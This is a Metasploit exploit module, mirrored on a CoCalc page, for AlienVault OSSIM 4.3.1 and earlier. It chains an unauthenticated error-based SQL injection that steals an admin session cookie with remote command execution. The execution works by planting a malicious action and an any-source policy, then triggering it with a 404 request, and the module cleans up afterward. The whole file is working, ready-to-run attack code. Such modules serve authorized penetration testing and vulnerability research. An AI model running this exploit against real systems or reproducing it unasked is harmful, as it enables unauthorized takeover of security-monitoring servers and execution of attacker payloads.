CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/http/alienvault_sqli_exec.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
11
def initialize(info={})
12
super(update_info(info,
13
'Name' => "AlienVault OSSIM SQL Injection and Remote Code Execution",
14
'Description' => %q{
15
This module exploits an unauthenticated SQL injection vulnerability affecting AlienVault
16
OSSIM versions 4.3.1 and lower. The SQL injection issue can be abused in order to retrieve an
17
active admin session ID. If an administrator level user is identified, remote code execution
18
can be gained by creating a high priority policy with an action containing our payload.
19
},
20
'License' => MSF_LICENSE,
21
'Author' =>
22
[
23
'Sasha Zivojinovic', # SQLi discovery
24
'xistence <xistence[at]0x90.nl>' # Metasploit module
25
],
26
'References' =>
27
[
28
['CVE', '2016-8581'],
29
['OSVDB', '106252'],
30
['EDB', '33006']
31
],
32
'DefaultOptions' =>
33
{
34
'SSL' => true,
35
'WfsDelay' => 10
36
},
37
'Platform' => 'unix',
38
'Arch' => ARCH_CMD,
39
'Payload' =>
40
{
41
'Compat' =>
42
{
43
'RequiredCmd' => 'generic perl python',
44
}
45
},
46
'Targets' =>
47
[
48
['Alienvault OSSIM 4.3', {}]
49
],
50
'Privileged' => true,
51
'DisclosureDate' => '2014-04-24',
52
'DefaultTarget' => 0))
53
54
register_options(
55
[
56
Opt::RPORT(443),
57
OptString.new('TARGETURI', [true, 'The URI of the vulnerable Alienvault OSSIM instance', '/'])
58
])
59
end
60
61
62
def check
63
marker = rand_text_alpha(6)
64
sqli_rand = rand_text_numeric(4+rand(4))
65
sqli = "' and(select 1 from(select count(*),concat((select (select concat(0x#{marker.unpack('H*')[0]},Hex(cast(user() as char)),0x#{marker.unpack('H*')[0]})) "
66
sqli << "from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '#{sqli_rand}'='#{sqli_rand}"
67
68
res = send_request_cgi({
69
'uri' => normalize_uri(target_uri.path, 'geoloc', 'graph_geoloc.php'),
70
'vars_get' => { 'date_from' => sqli }
71
})
72
73
if res && res.code == 200 && res.body =~ /#{marker}726F6F7440[0-9a-zA-Z]+#{marker}/ # 726F6F7440 = root
74
return Exploit::CheckCode::Vulnerable
75
else
76
print_status("#{res.body}")
77
return Exploit::CheckCode::Safe
78
end
79
80
end
81
82
83
def exploit
84
marker = rand_text_alpha(6)
85
sqli_rand = rand_text_numeric(4+rand(4))
86
sqli = "' and (select 1 from(select count(*),concat((select (select concat(0x#{marker.unpack('H*')[0]},Hex(cast(id as char)),0x#{marker.unpack('H*')[0]})) "
87
sqli << "from alienvault.sessions where login='admin' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '#{sqli_rand}'='#{sqli_rand}"
88
89
print_status("Trying to grab admin session through SQLi")
90
91
res = send_request_cgi({
92
'uri' => normalize_uri(target_uri.path, 'geoloc', 'graph_geoloc.php'),
93
'vars_get' => { 'date_from' => sqli }
94
})
95
96
if res && res.code == 200 && res.body =~ /#{marker}(.*)#{marker}/
97
admin_session = $1
98
@cookie = "PHPSESSID=" + ["#{admin_session}"].pack("H*")
99
print_status("Admin session cookie is [ #{@cookie} ]")
100
else
101
fail_with(Failure::Unknown, "#{peer} - Failure retrieving admin session")
102
end
103
104
# Creating an Action containing our payload, which will be executed by any event (not only alarms)
105
action = rand_text_alpha(8+(rand(8)))
106
res = send_request_cgi({
107
'method' => 'POST',
108
'uri' => normalize_uri(target_uri.path, "ossim", "action", "modifyactions.php"),
109
'cookie' => @cookie,
110
'vars_post' => {
111
'action' => 'new',
112
'action_name' => action,
113
'descr' => action,
114
'action_type' => '2',
115
'only' => 'on',
116
'cond' => 'True',
117
'exec_command' => payload.encoded
118
}
119
})
120
121
if res && res.code == 200
122
print_status("Created Action [ #{action} ]")
123
else
124
fail_with(Failure::Unknown, "#{peer} - Action creation failed!")
125
end
126
127
# Retrieving the Action ID, used to clean up the action after successful exploitation
128
res = send_request_cgi({
129
'method' => 'POST',
130
'uri' => normalize_uri(target_uri.path, "ossim", "action", "getaction.php"),
131
'cookie' => @cookie,
132
'vars_post' => {
133
'page' => '1',
134
'rp' => '2000'
135
}
136
})
137
138
if res && res.code == 200 && res.body =~ /actionform\.php\?id=(.*)'>#{action}/
139
@action_id = $1
140
print_status("Action ID is [ #{@action_id} ]")
141
else
142
fail_with(Failure::Unknown, "#{peer} - Action ID retrieval failed!")
143
end
144
145
# Retrieving the policy data, necessary for proper cleanup after succesful exploitation
146
res = send_request_cgi({
147
'method' => 'GET',
148
'uri' => normalize_uri(target_uri.path.to_s, "ossim", "policy", "policy.php"),
149
'cookie' => @cookie,
150
'vars_get' => {
151
'm_opt' => 'configuration',
152
'sm_opt' => 'threat_intelligence',
153
'h_opt' => 'policy'
154
}
155
})
156
157
if res && res.code == 200 && res.body =~ /getpolicy\.php\?ctx=(.*)\&group=(.*)',/
158
policy_ctx = $1
159
policy_group = $2
160
print_status("Policy data [ ctx=#{policy_ctx} ] and [ group=#{policy_group} ] retrieved!")
161
else
162
fail_with(Failure::Unknown, "#{peer} - Retrieving Policy data failed!")
163
end
164
165
# Creating policy which will be triggered by any source/destination
166
policy = rand_text_alpha(8+(rand(8)))
167
res = send_request_cgi({
168
'method' => 'POST',
169
'uri' => normalize_uri(target_uri.path, "ossim", "policy", "newpolicy.php"),
170
'cookie' => @cookie,
171
'vars_post' => {
172
'descr' => policy,
173
'active' => '1',
174
'group' => policy_group,
175
'ctx' => policy_ctx,
176
'order' => '1', # Makes this the first policy, overruling all the other policies
177
'action' => 'new',
178
'sources[]' => '00000000000000000000000000000000', # Source is ANY
179
'dests[]' => '00000000000000000000000000000000', # Destination is ANY
180
'portsrc[]' => '0', # Any source port
181
'portdst[]' => '0', # Any destination port
182
'plug_type' => '1', # Taxonomy
183
'plugins[0]' => 'on',
184
'taxfilters[]' =>'20@13@118', # Product Type: Operating System, Category: Application, Subcategory: Web - Not Found
185
'tax_pt' => '0',
186
'tax_cat' => '0',
187
'tax_subc' => '0',
188
'mboxs[]' => '00000000000000000000000000000000',
189
'rep_act' => '0',
190
'rep_sev' => '1',
191
'rep_rel' => '1',
192
'rep_dir' => '0',
193
'ev_sev' => '1',
194
'ev_rel' => '1',
195
'tzone' => 'Europe/Amsterdam',
196
'date_type' => '1',
197
'begin_hour' => '0',
198
'begin_minute' => '0',
199
'begin_day_week' => '1',
200
'begin_day_month' => '1',
201
'begin_month' => '1',
202
'end_hour' => '23',
203
'end_minute' => '59',
204
'end_day_week' => '7',
205
'end_day_month' => '31',
206
'end_month' => '12',
207
'actions[]' => @action_id,
208
'sim' => '1',
209
'priority' => '1',
210
'qualify' => '1',
211
'correlate' => '0', # Don't make any correlations
212
'cross_correlate' => '0', # Don't make any correlations
213
'store' => '0' # We don't want to store anything :)
214
}
215
})
216
217
if res && res.code == 200
218
print_status("Created Policy [ #{policy} ]")
219
else
220
fail_with(Failure::Unknown, "#{peer} - Policy creation failed!")
221
end
222
223
# Retrieve policy ID, needed for proper cleanup after succesful exploitation
224
res = send_request_cgi({
225
'method' => 'POST',
226
'uri' => normalize_uri(target_uri.path, "ossim", "policy", "getpolicy.php"),
227
'cookie' => @cookie,
228
'vars_get' => {
229
'ctx' => policy_ctx,
230
'group' => policy_group
231
},
232
'vars_post' => {
233
'page' => '1',
234
'rp' => '2000'
235
}
236
})
237
if res && res.code == 200 && res.body =~ /row id='(.*)' col_order='1'/
238
@policy_id = $1
239
print_status("Policy ID [ #{@policy_id} ] retrieved!")
240
else
241
fail_with(Failure::Unknown, "#{peer} - Retrieving Policy ID failed!")
242
end
243
244
# Reload the policies to make our new policy active
245
print_status("Reloading Policies")
246
res = send_request_cgi({
247
'method' => 'GET',
248
'uri' => normalize_uri(target_uri.path, "ossim", "conf", "reload.php"),
249
'cookie' => @cookie,
250
'vars_get' => {
251
'what' => 'policies',
252
'back' => '../policy/policy.php'
253
}
254
})
255
256
if res && res.code == 200
257
print_status("Policies reloaded!")
258
else
259
fail_with(Failure::Unknown, "#{peer} - Policy reloading failed!")
260
end
261
262
# Request a non-existing page, which will trigger a SIEM event (and thus our payload), but not an alarm.
263
dont_exist = rand_text_alpha(8+rand(4))
264
print_status("Triggering policy and action by requesting a non existing url")
265
res = send_request_cgi({
266
'method' => 'GET',
267
'uri' => normalize_uri(target_uri.path, dont_exist),
268
'cookie' => @cookie
269
})
270
271
if res and res.code == 404
272
print_status("Payload delivered")
273
else
274
fail_with(Failure::Unknown, "#{peer} - Payload failed!")
275
end
276
277
end
278
279
280
def cleanup
281
begin
282
# Clean up, retrieve token so that the policy can be removed
283
print_status("Cleaning up")
284
res = send_request_cgi({
285
'method' => 'POST',
286
'uri' => normalize_uri(target_uri.path, "ossim", "session", "token.php"),
287
'cookie' => @cookie,
288
'vars_post' => { 'f_name' => 'delete_policy' }
289
})
290
291
if res && res.code == 200 && res.body =~ /\{\"status\":\"OK\",\"data\":\"(.*)\"\}/
292
token = $1
293
print_status("Token [ #{token} ] retrieved")
294
else
295
print_warning("Unable to retrieve token")
296
end
297
298
# Remove our policy
299
res = send_request_cgi({
300
'method' => 'GET',
301
'uri' => normalize_uri(target_uri.path, "ossim", "policy", "deletepolicy.php"),
302
'cookie' => @cookie,
303
'vars_get' => {
304
'confirm' => 'yes',
305
'id' => @policy_id,
306
'token' => token
307
}
308
})
309
310
if res && res.code == 200
311
print_status("Policy ID [ #{@policy_id} ] removed")
312
else
313
print_warning("Unable to remove Policy ID")
314
end
315
316
# Remove our action
317
res = send_request_cgi({
318
'method' => 'GET',
319
'uri' => normalize_uri(target_uri.path, "ossim", "action", "deleteaction.php"),
320
'cookie' => @cookie,
321
'vars_get' => {
322
'id' => @action_id,
323
}
324
})
325
326
if res && res.code == 200
327
print_status("Action ID [ #{@action_id} ] removed")
328
else
329
print_warning("Unable to remove Action ID")
330
end
331
332
# Reload the policies to revert back to the state before exploitation
333
print_status("Reloading Policies")
334
res = send_request_cgi({
335
'method' => 'GET',
336
'uri' => normalize_uri(target_uri.path, "ossim", "conf", "reload.php"),
337
'cookie' => @cookie,
338
'vars_get' => {
339
'what' => 'policies',
340
'back' => '../policy/policy.php'
341
}
342
})
343
344
if res && res.code == 200
345
print_status("Policies reloaded!")
346
else
347
fail_with(Failure::Unknown, "#{peer} - Policy reloading failed!")
348
end
349
350
ensure
351
super # mixins should be able to cleanup even in case of Exception
352
end
353
end
354
end
355
356